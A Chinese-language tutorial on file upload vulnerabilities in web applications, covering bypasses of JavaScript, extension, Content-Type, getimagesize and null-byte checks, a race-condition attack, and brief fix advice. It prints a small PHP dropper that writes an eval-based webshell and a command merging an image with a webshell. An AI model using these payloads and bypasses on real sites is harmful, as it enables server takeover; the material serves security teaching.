微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

详解文件上传漏洞

介绍

在现代互联网网站中,上传文件基本上是一种常见的功能,允许用户上传一些图片,视频以及其他类型的文件。如果网站出现文件上传漏洞,那么恶意用户就可以将可执行脚本程序上传到web服务器中,获得网站权限,进一步 gongji web服务器。
上传文件时,如果服务端未对客户端上传文件进行严格的验证和过滤,就容易造成文件上传漏洞,即上传任意文件包括脚本文件PHP,jsp,asp,aspx等格式)
恶意用户可以利用上传的webshell控制整个网站甚至控制服务器

绕过

js检测绕过
js检测绕过漏洞常见于用户上传文件时,如果后缀不允许,则弹窗告知,此时上传文件的数据包并没有上传到服务端,只是在客户端浏览器使用JavaScript进行检测

详解文件上传漏洞


此时有两种方法进行绕过
1.使用浏览器插件删除检测文件后缀的JavaScript代码,然后上传文件
2.先把需要上传文件后缀改为允许上传的后缀绕过JavaScript代码的检测,再抓包修改为原来的后缀即可成功

详解文件上传漏洞


详解文件上传漏洞


可以看到成功绕过js检测上传文件成功
文件后缀绕过
文件后缀绕过是服务端限制了某些后缀的的文件不允许上传,but 有些Apache是允许解析其它文件后缀的,例如在Apache配置文件httpd.conf中有以下代码则能够解析PHP和phtml文件
AddType application/x-httpd-PHP .PHP .phtml


在Apache解析顺序中是从右到左开始解析文件后缀的,如果最右侧的扩展不识别就继续往左判断,直到遇到可以解析的文件后缀为止,所以如果上传文件名类似为luguo.PHP.xxx,因为后缀xxx不可以解析则向左解析为luguo.PHP
文件类型绕过
此类绕过需要简单的两次判断
用burp suite抓包
上传PHP文件

详解文件上传漏洞


可以看到数据包中的Conetent-Type的值是application/x-PHP
上传jpg文件

详解文件上传漏洞


可以看到数据包中的Content-Type的值是image/jpeg
可以推断出服务端是通过Content-Type的值来判断文件的类型,那么就可以进行绕过了,因为Content-Type的值是通过客户端传递的,是可以进行修改的,我们只需要在上传PHP文件时,在Burp suite中将Content-Type修改为image/jpeg,就可以绕过检测

详解文件上传漏洞


PHP中还有一种文件上传漏洞,PHP调用函数getimagesize()获取图片长宽高等信息,如果上传的不是图片那么getimagesize()就获取不到信息则不允许上传,but 我们可以将图片和webshell合并成一个文件,敲下方命令
cat index.png luguo.PHP > sNowwolf.PHP

详解文件上传漏洞


详解文件上传漏洞


访问上传的地址,上传成功
文件截断绕过
PHP中00代表结束符,所以会把00后面的所有字符删除
截断条件PHP版本小于5.3.4,PHP的magic_quotes_gpc为off

详解文件上传漏洞


上传文件时服务端将Get参数name的内容文件名的前一部分,后面则按时间生成图片为第二部分
修改参数截断为luguo.PHP%00.ipg,文件保存到服务器时,%00会把.jpg和按时间生成图片名全部截断,文件名就剩下luguo.PHP,因此成功上传webshell
竞争条件绕过
一些网站的逻辑是先允许上传任意文件,然后检查是否包含webshell脚本,如果包含则删除。这里存在的漏洞是文件上传成功后和删除操作有个时间差,恶意用户利用时间差就可以完成竞争条件的gongji。
gongji者先上传一个webshell脚本sNowwolf.PHP,sNowwolf.PHP生成一个新的webshell脚本,内容如下
<?PHP
fputs(fopen('../shell.PHP','w'),'<?PHP @eval($_POST[a]) ?>');
?>


当sNowwolf.PHP上传成功时,gongji者立即访问sNowwolf.PHP,则会在服务端立即生成shell.PHP文件,完成gongji

详解文件上传漏洞

详解文件上传漏洞


可以看到已经生成shell.PHP文件
ps:单身多年的手速可算派上用场了

修复建议

通过白名单的方式来判断文件后缀的合法
用户上传文件重命名

文件上传漏洞网页演示源码链接https://pan.baidu.com/s/1V5b7_FvQjd4yKdaoDbBXCw
提取码:5i89

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐